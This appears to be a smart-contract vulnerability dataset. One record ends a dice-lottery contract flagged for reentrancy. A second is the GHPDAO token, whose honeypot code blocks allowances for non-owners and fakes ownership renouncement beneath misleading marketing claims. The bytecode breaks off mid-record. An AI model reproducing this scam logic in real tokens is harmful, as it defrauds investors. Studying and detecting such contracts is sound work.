- 20% go to contract developer :) * - 12% go to sponsor * - 10% go to stock for future restores * - 3% go to referral (if exists, if not - go into stock) */ function splitTheBet(address referral) private { uint256 _partBank = Math.percent(msg.value, partBank); uint256 _partOwner = Math.percent(msg.value, partOwner); uint256 _partStock = Math.percent(msg.value, partStock); uint256 _partSponsor = Math.percent(msg.value, partSponsor); uint256 _partReferral = Math.percent(msg.value, partReferral); bank = Math.add(bank, _partBank); stock = Math.add(stock, _partStock); owner.transfer(_partOwner); sponsor.transfer(_partSponsor); if (referral != address(0) && referral != msg.sender && bets[referral] > 0) { referral.transfer(_partReferral); } else { stock = Math.add(stock, _partReferral); } } /** * @dev Check the winner */ function isWinner(uint8 required, uint8[5] numbers, uint8[5] randoms) private pure returns(bool) { uint8 count = 0; for (uint8 i = 0; i < numbers.length; i++) { if (numbers[i] == 0) continue; for (uint8 j = 0; j < randoms.length; j++) { if (randoms[j] == 0) continue; if (randoms[j] == numbers[i]) { count++; delete randoms[j]; break; } } } return count == required; } /** * @dev Reward the winner */ function rewardTheWinner(uint8 reward) private { uint256 rewardValue = Math.percent(bank, reward); require(rewardValue <= getBalance()); require(rewardValue <= bank); bank = Math.sub(bank, rewardValue); msg.sender.transfer(rewardValue); emit WeHaveAWinner(msg.sender, rewardValue); } /** * @dev Roll the dice for numbers */ function rollOne(address referral, uint8 number) external payable isValidBet(rewardOne) bankNotEmpty { require(isValidNumber(number)); bets[msg.sender]++; splitTheBet(referral); uint8[5] memory numbers = [number, 0, 0, 0, 0]; uint8[5] memory randoms = [getRN(), 0, 0, 0, 0]; emit UserBet(msg.sender, number, 0, 0, 0, 0); emit DiceRoll(randoms[0], 0, 0, 0, 0); if (isWinner(1, numbers, randoms)) { rewardTheWinner(rewardOne); } else { emit Loser(msg.sender); } } function rollTwo(address referral, uint8 number1, uint8 number2) external payable isValidBet(rewardTwo) bankNotEmpty { require(isValidNumber(number1) && isValidNumber(number2)); bets[msg.sender]++; splitTheBet(referral); uint8[5] memory numbers = [number1, number2, 0, 0, 0]; uint8[5] memory randoms = [getRN(), getRN(), 0, 0, 0]; emit UserBet(msg.sender, number1, number2, 0, 0, 0); emit DiceRoll(randoms[0], randoms[1], 0, 0, 0); if (isWinner(2, numbers, randoms)) { rewardTheWinner(rewardTwo); } else { emit Loser(msg.sender); } } function rollThree(address referral, uint8 number1, uint8 number2, uint8 number3) external payable isValidBet(rewardThree) bankNotEmpty { require(isValidNumber(number1) && isValidNumber(number2) && isValidNumber(number3)); bets[msg.sender]++; splitTheBet(referral); uint8[5] memory numbers = [number1, number2, number3, 0, 0]; uint8[5] memory randoms = [getRN(), getRN(), getRN(), 0, 0]; emit UserBet(msg.sender, number1, number2, number3, 0, 0); emit DiceRoll(randoms[0], randoms[1], randoms[2], 0, 0); if (isWinner(3, numbers, randoms)) { rewardTheWinner(rewardThree); } else { emit Loser(msg.sender); } } function rollFour(address referral, uint8 number1, uint8 number2, uint8 number3, uint8 number4) external payable isValidBet(rewardFour) bankNotEmpty { require(isValidNumber(number1) && isValidNumber(number2) && isValidNumber(number3) && isValidNumber(number4)); bets[msg.sender]++; splitTheBet(referral); uint8[5] memory numbers = [number1, number2, number3, number4, 0]; uint8[5] memory randoms = [getRN(), getRN(), getRN(), getRN(), 0]; emit UserBet(msg.sender, number1, number2, number3, number4, 0); emit DiceRoll(randoms[0], randoms[1], randoms[2], randoms[3], 0); if (isWinner(4, numbers, randoms)) { rewardTheWinner(rewardFour); } else { emit Loser(msg.sender); } } function rollFive(address referral, uint8 number1, uint8 number2, uint8 number3, uint8 number4, uint8 number5) external payable isValidBet(jackPot) bankNotEmpty { require(isValidNumber(number1) && isValidNumber(number2) && isValidNumber(number3) && isValidNumber(number4) && isValidNumber(number5)); bets[msg.sender]++; splitTheBet(referral); uint8[5] memory numbers = [number1, number2, number3, number4, number5]; uint8[5] memory randoms = [getRN(), getRN(), getRN(), getRN(), getRN()]; emit UserBet(msg.sender, number1, number2, number3, number4, number5); emit DiceRoll(randoms[0], randoms[1], randoms[2], randoms[3], randoms[4]); if (isWinner(5, numbers, randoms)) { rewardTheWinner(jackPot); emit OMGItIsJackPot(msg.sender); } else { emit Loser(msg.sender); } } }
0x6060604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806312065fe0146100d55780632b30a84e146100fe5780634d7e897f146101445780635d29bd401461017e5780636f993a74146101d0578063767bcab51461022e57806376cdb03b1461026757806385efb721146102905780638da5cb5b1461029a5780639777487d146102ef578063a0275c0514610318578063b42e49ef1461033b578063bdf3c4ae146103a5578063eb9df7db146103ce575b600080fd5b34156100e057600080fd5b6100e8610407565b6040518082815260200191505060405180910390f35b610142600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560ff1690602001909190803560ff16906020019091905050610426565b005b61017c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560ff16906020019091905050610797565b005b6101ce600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560ff1690602001909190803560ff1690602001909190803560ff16906020019091905050610ad2565b005b61022c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560ff1690602001909190803560ff1690602001909190803560ff1690602001909190803560ff16906020019091905050610e77565b005b341561023957600080fd5b610265600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611252565b005b341561027257600080fd5b61027a6112f1565b6040518082815260200191505060405180910390f35b6102986112f7565b005b34156102a557600080fd5b6102ad611374565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102fa57600080fd5b610302611399565b6040518082815260200191505060405180910390f35b341561032357600080fd5b610339600480803590602001909190505061139f565b005b6103a3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560ff1690602001909190803560ff1690602001909190803560ff1690602001909190803560ff1690602001909190803560ff16906020019091905050611441565b005b34156103b057600080fd5b6103b86118b1565b6040518082815260200191505060405180910390f35b34156103d957600080fd5b610405600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118b7565b005b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b61042e611ff9565b610436611ff9565b600960069054906101000a900460ff166104556008548260ff16611991565b3414151561046257600080fd5b610480600854600960069054906101000a900460ff1660ff16611991565b6006541015151561049057600080fd5b6006543073ffffffffffffffffffffffffffffffffffffffff1631101515156104b857600080fd5b6104c1856119b7565b80156104d257506104d1846119b7565b5b15156104dd57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550610535866119fa565b60a0604051908101604052808660ff1660ff1681526020018560ff1660ff168152602001600060ff168152602001600060ff168152602001600060ff16815250925060a06040519081016040528061058b611c98565b60ff1660ff16815260200161059e611c98565b60ff1660ff168152602001600060ff168152602001600060ff168152602001600060ff1681525091507fee8cc3c243d0163220856bfacfce41c9c653437dd52fba1ea3320056d2203b773386866000806000604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018660ff1660ff1681526020018560ff1660ff1681526020018460ff1681526020018360ff1681526020018260ff168152602001965050505050505060405180910390a17fb9023154ceaea30210c3b129c137b6d3732d8dee19edb7f19ad7a146f43c13b082600060058110151561069957fe5b60200201518360016005811015156106ad57fe5b60200201516000806000604051808660ff1660ff1681526020018560ff1660ff1681526020018460ff1681526020018360ff1681526020018260ff1681526020019550505050505060405180910390a161070960028484611d83565b1561072b57610726600960069054906101000a900460ff16611e8e565b61078f565b7f190d4f1249f2e21343a1c0910c21ea36d8a8686a1596352ecc15c4d26a988dcd33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b505050505050565b61079f611ff9565b6107a7611ff9565b600960059054906101000a900460ff166107c66008548260ff16611991565b341415156107d357600080fd5b6107f1600854600960069054906101000a900460ff1660ff16611991565b6006541015151561080157600080fd5b6006543073ffffffffffffffffffffffffffffffffffffffff16311015151561082957600080fd5b610832846119b7565b151561083d57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550610895856119fa565b60a0604051908101604052808560ff1660ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff16815250925060a0604051908101604052806108e9611c98565b60ff1660ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff1681525091507fee8cc3c243d0163220856bfacfce41c9c653437dd52fba1ea3320056d2203b773385600080600080604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018660ff1660ff1681526020018560ff1681526020018460ff1681526020018360ff1681526020018260ff168152602001965050505050505060405180910390a17fb9023154ceaea30210c3b129c137b6d3732d8dee19edb7f19ad7a146f43c13b08260006005811015156109eb57fe5b6020020151600080600080604051808660ff1660ff1681526020018560ff1681526020018460ff1681526020018360ff1681526020018260ff1681526020019550505050505060405180910390a1610a4560018484611d83565b15610a6757610a62600960059054906101000a900460ff16611e8e565b610acb565b7f190d4f1249f2e21343a1c0910c21ea36d8a8686a1596352ecc15c4d26a988dcd33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b5050505050565b610ada611ff9565b610ae2611ff9565b600960079054906101000a900460ff16610b016008548260ff16611991565b34141515610b0e57600080fd5b610b2c600854600960069054906101000a900460ff1660ff16611991565b60065410151515610b3c57600080fd5b6006543073ffffffffffffffffffffffffffffffffffffffff163110151515610b6457600080fd5b610b6d866119b7565b8015610b7e5750610b7d856119b7565b5b8015610b8f5750610b8e846119b7565b5b1515610b9a57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550610bf2876119fa565b60a0604051908101604052808760ff1660ff1681526020018660ff1660ff1681526020018560ff1660ff168152602001600060ff168152602001600060ff16815250925060a060405190810160405280610c4a611c98565b60ff1660ff168152602001610c5d611c98565b60ff1660ff168152602001610c70611c98565b60ff1660ff168152602001600060ff168152602001600060ff1681525091507fee8cc3c243d0163220856bfacfce41c9c653437dd52fba1ea3320056d2203b7733878787600080604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018660ff1660ff1681526020018560ff1660ff1681526020018460ff1660ff1681526020018360ff1681526020018260ff168152602001965050505050505060405180910390a17fb9023154ceaea30210c3b129c137b6d3732d8dee19edb7f19ad7a146f43c13b0826000600581101515610d6357fe5b6020020151836001600581101515610d7757fe5b6020020151846002600581101515610d8b57fe5b6020020151600080604051808660ff1660ff1681526020018560ff1660ff1681526020018460ff1660ff1681526020018360ff1681526020018260ff1681526020019550505050505060405180910390a1610de860038484611d83565b15610e0a57610e05600960079054906101000a900460ff16611e8e565b610e6e565b7f190d4f1249f2e21343a1c0910c21ea36d8a8686a1596352ecc15c4d26a988dcd33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b50505050505050565b610e7f611ff9565b610e87611ff9565b600960089054906101000a900460ff16610ea66008548260ff16611991565b34141515610eb357600080fd5b610ed1600854600960069054906101000a900460ff1660ff16611991565b60065410151515610ee157600080fd5b6006543073ffffffffffffffffffffffffffffffffffffffff163110151515610f0957600080fd5b610f12876119b7565b8015610f235750610f22866119b7565b5b8015610f345750610f33856119b7565b5b8015610f455750610f44846119b7565b5b1515610f5057600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550610fa8886119fa565b60a0604051908101604052808860ff1660ff1681526020018760ff1660ff1681526020018660ff1660ff1681526020018560ff1660ff168152602001600060ff16815250925060a060405190810160405280611002611c98565b60ff1660ff168152602001611015611c98565b60ff1660ff168152602001611028611c98565b60ff1660ff16815260200161103b611c98565b60ff1660ff168152602001600060ff1681525091507fee8cc3c243d0163220856bfacfce41c9c653437dd52fba1ea3320056d2203b7733888888886000604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018660ff1660ff1681526020018560ff1660ff1681526020018460ff1660ff1681526020018360ff1660ff1681526020018260ff168152602001965050505050505060405180910390a17fb9023154ceaea30210c3b129c137b6d3732d8dee19edb7f19ad7a146f43c13b082600060058110151561112757fe5b602002015183600160058110151561113b57fe5b602002015184600260058110151561114f57fe5b602002015185600360058110151561116357fe5b60200201516000604051808660ff1660ff1681526020018560ff1660ff1681526020018460ff1660ff1681526020018360ff1660ff1681526020018260ff1681526020019550505050505060405180910390a16111c260048484611d83565b156111e4576111df600960089054906101000a900460ff16611e8e565b611248565b7f190d4f1249f2e21343a1c0910c21ea36d8a8686a1596352ecc15c4d26a988dcd33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b5050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ad57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b600454341015151561130857600080fd5b6004546005540134101515611360573460058190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b61136c60065434611f89565b600681905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113fa57600080fd5b60008111151561140957600080fd5b806007541015151561141a57600080fd5b61142660065482611f89565b60068190555061143860075482611fa7565b60078190555050565b611449611ff9565b611451611ff9565b6009809054906101000a900460ff1661146f6008548260ff16611991565b3414151561147c57600080fd5b61149a600854600960069054906101000a900460ff1660ff16611991565b600654101515156114aa57600080fd5b6006543073ffffffffffffffffffffffffffffffffffffffff1631101515156114d257600080fd5b6114db886119b7565b80156114ec57506114eb876119b7565b5b80156114fd57506114fc866119b7565b5b801561150e575061150d856119b7565b5b801561151f575061151e846119b7565b5b151561152a57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550611582896119fa565b60a0604051908101604052808960ff1660ff1681526020018860ff1660ff1681526020018760ff1660ff1681526020018660ff1660ff1681526020018560ff1660ff16815250925060a0604051908101604052806115de611c98565b60ff1660ff1681526020016115f1611c98565b60ff1660ff168152602001611604611c98565b60ff1660ff168152602001611617611c98565b60ff1660ff16815260200161162a611c98565b60ff1660ff1681525091507fee8cc3c243d0163220856bfacfce41c9c653437dd52fba1ea3320056d2203b77338989898989604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018660ff1660ff1681526020018560ff1660ff1681526020018460ff1660ff1681526020018360ff1660ff1681526020018260ff1660ff168152602001965050505050505060405180910390a17fb9023154ceaea30210c3b129c137b6d3732d8dee19edb7f19ad7a146f43c13b082600060058110151561170e57fe5b602002015183600160058110151561172257fe5b602002015184600260058110151561173657fe5b602002015185600360058110151561174a57fe5b602002015186600460058110151561175e57fe5b6020020151604051808660ff1660ff1681526020018560ff1660ff1681526020018460ff1660ff1681526020018360ff1660ff1681526020018260ff1660ff1681526020019550505050505060405180910390a16117be60058484611d83565b15611842576117da6009809054906101000a900460ff16611e8e565b7f09cd5d57a871cc127aeb1d4b168a2906801520bb9a988eedf46d58d907608bbb33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a16118a6565b7f190d4f1249f2e21343a1c0910c21ea36d8a8686a1596352ecc15c4d26a988dcd33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b505050505050505050565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561191257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561194e57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000612710826119a48560646004611fc0565b028115156119ae57fe5b05905092915050565b60006009600a9054906101000a900460ff1660ff168260ff16101580156119f357506009600b9054906101000a900460ff1660ff168260ff1611155b9050919050565b6000806000806000611a1e34600960009054906101000a900460ff1660ff16611991565b9450611a3c34600960019054906101000a900460ff1660ff16611991565b9350611a5a34600960039054906101000a900460ff1660ff16611991565b9250611a7834600960029054906101000a900460ff1660ff16611991565b9150611a9634600960049054906101000a900460ff1660ff16611991565b9050611aa460065486611f89565b600681905550611ab660075484611f89565b6007819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f193505050501515611b1d57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515611b7f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614158015611be857503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015611c3357506000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611c7d578573ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611c7857600080fd5b611c90565b611c8960075482611f89565b6007819055505b505050505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663428eb5cf6009600a9054906101000a900460ff166009600a9054906101000a900460ff166009600b9054906101000a900460ff16016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808360ff1681526020018260ff16815260200192505050602060405180830381600087803b1515611d6757600080fd5b5af11515611d7457600080fd5b50505060405180519050905090565b60008060008060009250600091505b60058260ff161015611e79576000868360ff16600581101515611db157fe5b602002015160ff161415611dc457611e6c565b600090505b60058160ff161015611e6b576000858260ff16600581101515611de857fe5b602002015160ff161415611dfb57611e5e565b858260ff16600581101515611e0c57fe5b602002015160ff16858260ff16600581101515611e2557fe5b602002015160ff161415611e5d578280600101935050848160ff16600581101515611e4c57fe5b60200201600060ff16815250611e6b565b5b8080600101915050611dc9565b5b8180600101925050611d92565b8660ff168360ff161493505050509392505050565b6000611e9f6006548360ff16611991565b9050611ea9610407565b8111151515611eb757600080fd5b6006548111151515611ec857600080fd5b611ed460065482611fa7565b6006819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611f1a57600080fd5b7f9693d6ec54b51b3eec601abc6b8c759e8e3ded80f73ea29d6c2300217575ba083382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000808284019050838110151515611f9d57fe5b8091505092915050565b6000828211151515611fb557fe5b818303905092915050565b600080600060018401600a0a86029150600a60058684811515611fdf57fe5b0501811515611fea57fe5b05905080925050509392505050565b60a0604051908101604052806005905b600060ff1681526020019060019003908161200957905050905600a165627a7a723058203ff2a2a3c555d7260075e7f50e6b3a37be7cb42bb6a784b6c1bd77d33f85f75e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,476
0x10e1e1e9d5a2f15e42765b968bc832bc4cec7f42
/** *Submitted for verification at Etherscan.io on 2022-03-23 */ /* GUARD GREEN, SAVE THE WORLD An ERC-20 initiative built to protect nature and build green contributing green to nature through GHP DAO, Get everyone involved Our goal is to unite the crypto community, influence stars, give back to nature, and protect the world 🔹Doxxed Team 🔹Big Partnerships 🔹Active and responsive moderators 🔹KYC audit 🔹No Presale, No Team Tokens 🔹Community driven 🔹Anti Sniping Bot! 🔹Liquidity locked https://greenhealthyplanet.io/ */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract GHPDAO is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'GREEN HEALTHY PLANET ' ; string private _symbol = 'GHP DAO ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff